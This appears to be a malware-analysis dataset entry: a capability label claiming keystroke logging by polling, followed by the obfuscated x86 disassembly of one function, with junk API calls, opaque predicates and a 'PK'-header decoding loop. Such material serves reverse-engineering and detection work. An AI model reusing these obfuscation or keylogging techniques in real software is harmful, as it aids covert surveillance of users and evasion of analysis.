Function at 0x10026e72
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 0x3c], edi
cmp byte [edi], 0x50
jne 0x10027914
cmp byte [edi + 1], 0x4b
jne 0x10027914
mov esi, dword [sym.imp.USER32.dll_GetDC]
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0
mov dword [ebp - 0xc], 0x62d5e48d
mov dword [ebp - 0xc], 0xffffffe8
pop eax
jmp 0x10026fb4
mov dword [ebp - 0x14], 0xfffffff8
mov dword [ebp - 8], eax
jmp 0x10026ed5
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0xc8], 0x5683c8fc
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x10026ec4
mov dword [ebp - 0x14], eax
jmp 0x10026fa7
mov dword [ebp - 0x10], 0x7822e6e
mov dword [ebp - 0x10], eax
jmp 0x10026f7e
mov dword [ebp - 8], eax
jmp 0x10026f05
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x30], 0x4990069f
inc dword [ebp - 8]
cmp dword [ebp - 8], 1
jl 0x10026ef7
cmp dword [ebp - 0x10], eax
jne 0x10026f88
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jg 0x10026f7b
cmp dword [ebp - 0x14], eax
je 0x10026f5b
mov dword [ebp - 8], 0xedfa831e
mov dword [ebp - 8], 1
cmp dword [ebp - 8], eax
jl 0x10026f6f
mov ecx, dword [ebp - 0x30]
cmp dword [ebp + ecx*4 - 0xc8], eax
jne 0x10026f6f
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x10026f54
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
xor eax, eax
dec dword [ebp - 8]
jns 0x10026f31
jmp 0x10026f6f
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x10026f6f
push 0xa92
call dword [sym.imp.USER32.dll_GetKeyState]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 1
push 0
pop eax
jle 0x10026f19
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jle 0x10026ef2
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x10026fa4
push 0xebb
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jle 0x10026ee3
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 1
jl 0x10026eb8
push 1
lea ecx, [ebp - 0x88]
call fcn.10005147
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], eax
jmp 0x10026fe8
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x88]
mov dword [ecx + edx*4], 4
inc dword [ebp - 8]
cmp dword [ebp - 8], 1
jl 0x10026fd5
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x10027002
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10027016
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x88]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x10027007
lea ecx, [ebp - 0x88]
call fcn.100051ca
mov bl, byte [edi + 2]
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x10], 8
push 1
call fcn.10005147
mov dword [ebp - 8], 0
jmp 0x1002705a
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0xc0]
mov dword [eax + ecx*4], 0xa0029bf3
inc dword [ebp - 8]
cmp dword [ebp - 8], 1
jl 0x10027047
mov dword [ebp - 0x10], 0
jmp 0x1002709d
cmp dword [ebp - 0x10], 0
jne 0x100270a3
mov byte [ebp - 1], 0
cmp byte [ebp - 1], 0
je 0x1002709a
push 0x11e
push 0x31
push 0x1bbc
push 0xa61
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffffa
je 0x10027069
lea ecx, [ebp - 0xc0]
call fcn.100051ca
mov bh, byte [edi + 3]
movzx esi, bl
add esi, 4
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 8], 0xf
lea eax, [esi + edi]
add esi, 0x18
mov dword [ebp - 0x24], eax
jmp 0x100270f1
mov byte [ebp - 1], 0
cmp byte [ebp - 1], 0
je 0x100270ee
push 0x13b9
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xc
jg 0x100270d7
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x10027109
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
movzx eax, bh
mov ebx, dword [ebp - 0x24]
add esi, eax
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebx]
call fcn.1000a39a
mov dword [ebp - 0x1c], eax
xor edx, edx
xor eax, eax
mov dword [ebp - 0xc], 0x1f2c29a3
mov dword [ebp - 8], eax
inc edx
jmp 0x1002713d
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x44], 0xaf1124f0
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jl 0x1002712f
mov dword [ebp - 0xc], eax
jmp 0x10027155
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x44], 0x603fa75c
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jl 0x10027147
mov dword [ebp - 0x44], 0xe29e
imul ecx, dword [ebp - 0xc], 0xe29e
test ecx, ecx
je 0x1002718f
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x100271a5
push eax
push 0x23b2
push eax
push 0xfac
push 0x246e
call dword [sym.imp.GDI32.dll_ExtCreatePen]
xor eax, eax
jmp 0x100271a5
mov dword [ebp - 0x18], edx
mov dword [ebp - 0xc], eax
jmp 0x1002719f
cmp dword [ebp - 0x18], eax
jne 0x100271a5
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe9
jle 0x10027197
mov dword [ebp - 0x18], 0xef9d7865
lea ecx, [esi + edi]
mov dword [ebp - 0x10], 0x2c36544d
mov dword [ebp - 0x20], 0xf948
mov dword [ebp - 8], 0xb16eb2d3
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0xc], eax
jmp 0x100271e1
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x34], 0x184c
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 1
jl 0x100271d3
mov dword [ebp - 0xc], eax
jmp 0x100271fa
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x40], 0xc106ec6e
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 1
jl 0x100271ec
cmp dword [ebp - 0x34], eax
je 0x1002721e
mov ecx, dword [ebp - 0x10]
xor esi, esi
xor edx, edx
inc esi
cmp esi, ecx
setge dl
mov dword [ebp - 0x40], edx
test edx, edx
je 0x1002721e
xor ecx, ecx
inc ecx
jmp 0x10027220
mov ecx, eax
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 8]
mov dword [ecx], edi
mov dword [ebp - 0xc], 0x75b57fd5
mov dword [ebp - 0x14], 0xfffffff6
mov dword [ebp - 8], 0x95998ab5
mov dword [ebp - 0x1c], 0x795ed7c6
mov dword [ebp - 0x10], 0xca955a63
mov dword [ebp - 0x18], 6
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffe8
jge 0x10027424
mov dword [ebp - 0x20], 0x377cc424
xor ebx, ebx
mov dword [ebp - 0x28], 0x70012af0
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], 1
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
cmp edx, ecx
setne bl
xor edx, edx
add ebx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp ebx, ecx
setge dl
cmp edx, dword [ebp - 0x20]
je 0x100272ab
cmp dword [ebp - 8], eax
jne 0x100272ab
mov ecx, eax
jmp 0x100272ae
xor ecx, ecx
inc ecx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
imul ecx, dword [ebp - 0x14], 0xf219
cmp dword [ebp - 0xc], ecx
jg 0x10027344
mov dword [ebp - 0x28], 6
mov dword [ebp - 8], eax
jmp 0x100272e0
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x70], 0xffffffff
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jl 0x100272d2
mov ecx, dword [ebp - 0x68]
xor ebx, ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
cmp edx, ecx
mov ecx, dword [ebp - 0x1c]
setg bl
xor edx, edx
cmp ebx, ecx
setle dl
xor ebx, ebx
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x28]
cmp ecx, edx
mov ecx, dword [ebp - 0x68]
setne bl
sub ebx, dword [ebp - 0x1c]
neg ebx
sbb ebx, ebx
inc ebx
mov dword [ebp - 0x1c], ebx
xor ebx, ebx
cmp ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
setg bl
xor edx, edx
cmp ebx, ecx
setle dl
mov dword [ebp - 0x10], edx
jmp 0x100273fb
mov dword [ebp - 0x1c], 0xffffffff
lea ecx, [ebp - 0x94]
push 2
call fcn.10005147
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x10027372
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x94]
mov dword [ecx + edx*4], 0xfffffff7
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x1002735f
mov esi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
dec esi
neg esi
sbb esi, esi
xor edx, edx
inc esi
cmp ecx, esi
setge dl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], eax
je 0x100273df
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x100273a9
push 0x1be1
push eax
call dword [sym.imp.USER32.dll_CharLowerBuffW]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x100273d7
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x100273d4
push 0x22df
push 0x10d
push 0x25d
push 0x15f5
push eax
call dword [sym.imp.USER32.dll_SetRect]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jle 0x100273ae
jmp 0x100273e9
mov dword [ebp - 0x1c], 0xfffffff9
inc dword [ebp - 0x1c]
lea ecx, [ebp - 0x94]
cmp dword [ebp - 0x18], eax
jne 0x1002741c
call fcn.100051ca
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x1002740d
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
xor eax, eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe8
jl 0x10027262
jmp 0x10027421
call fcn.100051ca
mov ebx, dword [ebp - 0x24]
push dword [ebp - 0x48]
movdqa xmm0, xmmword [0x1006c6f0]
lea ecx, [ebp - 0xc8]
push ecx
xor eax, eax
shr edi, 2
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x14], 0xffffffff
push ecx
inc edi
mov dword [ebp - 0x10], 0x816210b9
push eax
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x1c], edi
movdqu xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
call fcn.100098a4
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0x60a22152
mov dword [ebp - 0x14], eax
jmp 0x10027482
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe8
mov dword [ebp - 0x10], eax
jge 0x1002747f
cmp dword [ebp - 0x10], 0xffffffe5
push 9
pop edi
jle 0x100274dc
push 3
pop ecx
mov dword [ebp - 0x18], 0xffff
mov dword [ebp - 0x14], eax
jmp 0x100274ce
mov dword [ebp - 0x20], 0xbacc5d9b
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
jl 0x100274cb
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x24], 0xfffffffa
inc dword [ebp - 0x18]
dec dword [ebp - 0x20]
jns 0x100274b5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x100274a3
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe5
jg 0x10027497
lea ecx, [ebp - 0x58]
call fcn.100051ca
mov eax, dword [ebx]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebx + 8]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x98], eax
xor eax, eax
push 4
pop esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x24], 0x6d9e96bb
mov dword [ebp - 8], eax
jmp 0x10027525
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x2c], edi
inc dword [ebp - 8]
cmp dword [ebp - 8], 1
jl 0x1002751b
mov dword [ebp - 0xc], eax
jmp 0x100276dd
push 2
pop ebx
push ebx
lea ecx, [ebp - 0x64]
call fcn.10005147
mov dword [ebp - 0x18], 0x264a3a20
xor eax, eax
mov dword [ebp - 0x18], 0x3adab8f5
mov dword [ebp - 0x18], 0xbaf34c2
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x14], eax
jmp 0x10027580
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0xe8], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10027573
mov dword [ebp - 0x14], eax
jmp 0x1002759a
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x64]
mov dword [ecx + edx*4], 0xddc4ea3c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002758a
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x100275b6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
xor eax, eax
mov ecx, dword [ebp - 0xc]
xor ebx, ebx
mov edx, dword [ebp + ecx*4 - 0x2c]
mov ecx, dword [ebp - 0xc]
cmp edx, ecx
sete bl
xor ecx, ecx
cmp ebx, 0xffffffff
setne cl
inc ecx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0xe8], ecx
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0xc298
mov dword [ebp - 8], eax
jmp 0x100275fe
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x48], 0xa6696b49
inc dword [ebp - 8]
cmp dword [ebp - 8], 1
jl 0x100275f0
mov dword [ebp - 0xe8], esi
mov ecx, dword [ebp - 0x10]
sub esi, ecx
sub esi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x64]
neg esi
sbb esi, esi
xor edx, edx
inc esi
mov dword [ecx], esi
mov ecx, dword [ebp - 0xc]
cmp ecx, esi
mov ecx, dword [ebp - 0x10]
setg dl
xor ebx, ebx
cmp edx, ecx
setge bl
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
je 0x10027647
mov ecx, dword [ebp - 0x64]
cmp dword [ecx], eax
je 0x10027647
xor edx, edx
inc edx
jmp 0x10027649
mov edx, eax
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp + ecx*4 - 0x2c]
sub edx, ecx
sub edx, 0x588d
jne 0x10027663
cmp dword [ebp - 0x24], eax
jne 0x10027663
mov edx, eax
jmp 0x10027666
xor edx, edx
inc edx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 0xffffffff
sbb eax, eax
xor edx, edx
neg eax
lea ecx, [eax - 0xfffa]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
setl dl
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + eax*4 - 0x2c]
mov eax, dword [ebp - 0x18]
add eax, 0x10c44a87
cmp eax, ecx
je 0x100276a0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
cmp eax, 1
mov eax, dword [ebp - 0xc]
setg cl
sub ecx, dword [ebp + eax*4 - 0x2c]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x64]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xac], eax
call fcn.100051ca
inc dword [ebp - 0xc]
xor eax, eax
push 4
pop esi
cmp dword [ebp - 0xc], eax
jle 0x10027533
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x10027707
push 0xe99
push eax
push 0x1e7
push 0x4b1
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
xor eax, eax
cmp dword [ebp - 0x1c], 0
mov edi, eax
jbe 0x10027919
mov ebx, dword [ebp - 0x3c]
sub ebx, dword [ebp - 0x38]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0xc], 0xad9bacc5
mov dword [ebp - 8], 1
mov dword [ebp - 0x18], 0xda19ae86
mov dword [ebp - 0x10], eax
jmp 0x1002774b
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x4c], 0xe74bb9ce
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x1002773d
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x14]
sub esi, ecx
mov ecx, dword [ebp - 0x14]
sub esi, 0xfa8f90a3
neg esi
sbb esi, esi
xor edx, edx
inc esi
cmp esi, ecx
mov esi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
setle dl
sub esi, edx
xor edx, edx
cmp esi, ecx
setg dl
xor ecx, ecx
cmp edx, 0xbe8e
setle cl
sub ecx, 0xcf33
je 0x1002786e
mov dword [ebp - 0x10], 0x6a7609fa
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x18], 0x61a7160c
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x10]
push 0xfffffffffffffff6
pop edx
sub edx, ecx
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x10]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x20], edx
je 0x100277df
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0xc]
imul ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0x18], ecx
je 0x100277fd
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
xor edx, edx
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
mov esi, dword [ebp - 0xc]
imul esi, dword [ebp - 0x14]
add esi, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
cmp esi, ecx
setg dl
xor ebx, ebx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x18], 9
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x4c]
cmp edx, ecx
mov ecx, dword [ebp - 0x20]
setg bl
xor edx, edx
cmp ebx, ecx
setl dl
mov dword [ebp - 0x24], edx
xor edx, edx
mov esi, dword [ebp - 0x20]
imul esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
cmp esi, ecx
setl dl
cmp edx, dword [ebp - 0x10]
je 0x10027863
cmp dword [ebp - 0x24], eax
jne 0x10027863
mov ecx, eax
jmp 0x10027866
xor ecx, ecx
inc ecx
mov ebx, dword [ebp - 0x3c]
mov dword [ebp - 0x28], ecx
jmp 0x100278c4
push 4
lea ecx, [ebp - 0x7c]
call fcn.10005147
mov dword [ebp - 8], 0
jmp 0x10027891
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x7c]
mov dword [eax + ecx*4], 0x2c08f497
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x10027881
mov ecx, dword [ebp - 0x7c]
xor eax, eax
mov edx, 0x8404d083
mov dword [ecx + 0xc], 7
cmp dword [ecx + 8], 0x3fdd
setg al
cmp edx, eax
sbb eax, eax
inc eax
mov dword [ecx + 8], eax
lea ecx, [ebp - 0x7c]
call fcn.100051ca
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x100278e6
push eax
push eax
push 0x1db
push 0x26b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
mov esi, dword [ebp - 0x38]
mov edx, edi
and edx, 3
mov ecx, dword [esi]
mov edx, dword [ebp + edx*4 - 0xa4]
call fcn.1000a39a
mov dword [ebx + esi], eax
add esi, 4
inc edi
mov dword [ebp - 0x38], esi
push 0
pop eax
cmp edi, dword [ebp - 0x1c]
jb 0x1002771c
jmp 0x10027919
mov eax, dword [ebp + 8]
mov dword [eax], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret